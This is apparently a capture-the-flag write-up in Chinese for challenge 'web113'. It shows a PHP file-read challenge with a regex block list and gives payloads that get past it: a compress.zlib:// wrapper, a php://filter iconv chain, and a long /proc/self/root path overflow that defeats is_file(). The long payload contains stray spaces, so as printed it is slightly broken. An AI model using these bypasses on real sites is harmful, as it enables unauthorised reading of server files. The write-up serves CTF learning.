?file=compress.zlib://flag.php
?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php  

/*
# -*- coding: utf-8 -*-
@Author: Firebasky
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){    highlight_file(filter($file));
}else{
    echo "hacker!";
}

相比较上一题来说,多了 filter 的过滤,不能使用 filter 过滤器了,但是还是可以绕过:
0x01 zlib:

1
?file=compress.zlib://flag.php

0x02 突破 is_file 的最大长度, 利用函数能处理的长度限制进行目录溢出:
/proc/self/root 代表根目录,进行目录溢出

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php